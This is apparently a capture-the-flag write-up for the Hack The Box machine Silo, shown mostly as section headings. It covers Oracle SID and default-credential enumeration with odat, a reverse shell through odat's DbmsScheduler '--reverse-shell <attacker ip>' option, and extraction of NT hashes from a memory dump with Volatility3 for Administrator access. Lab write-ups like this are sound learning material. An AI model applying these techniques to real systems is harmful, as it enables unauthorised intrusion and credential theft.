Skip to main content

Enumeration

Run Nmap Scan

View Website

Untitled

Directory Bruteforcing (Run Gobuster)

Enumerating Website (Failed)

IIS Short Filename Enumeration

WebDav Test

Nothing interesting in Port 80.

Enumerating Oracle

Finding Oracle SID

We found 3 SIDs.

Finding Credentials

Installing the tools required for enumeration https://github.com/quentinhardy/odat Decompress the executable
Searching valid accounts with oracle default credentials

Exploitation

Odat DbmsScheduler Docs

Here we can use --reverse-shell <attacker ip> <attacker port> to get a reverse shell.

Listen to Reverse Shell and Exploit

Privilege Escalation

Enumerating Oracle Memory Dump File

When I routed to Phineas\Desktop to get a user flag, I found the file called Oracle issue.txt which could led us to privilege escalation.

Viewing Oracle issue.txt

When visiting the link, it will request for password. Unfortunately the link password didn’t work and I had to look for several walkthrough to find the answer for this question. Eventually, there was some encoding output problem with the type command. The password to the link is £%Hm8646uC$ Reference: HTB: Silo Downloading the memory dump from Dropbox Untitled

Using Memory Dump Utility (Volatility3) to find User NT Hash

Download Volotility3 https://github.com/volatilityfoundation/volatility3 Enumerate Windows information using the dump file

Troubleshooting Windows.Hashdump Plugin

Here, we did not have the package Crypto which led the program to Fail Let’s install the required packages

Extracting the Hash from the Dump File

Exploit (using the Administrator NT Hash)

Reference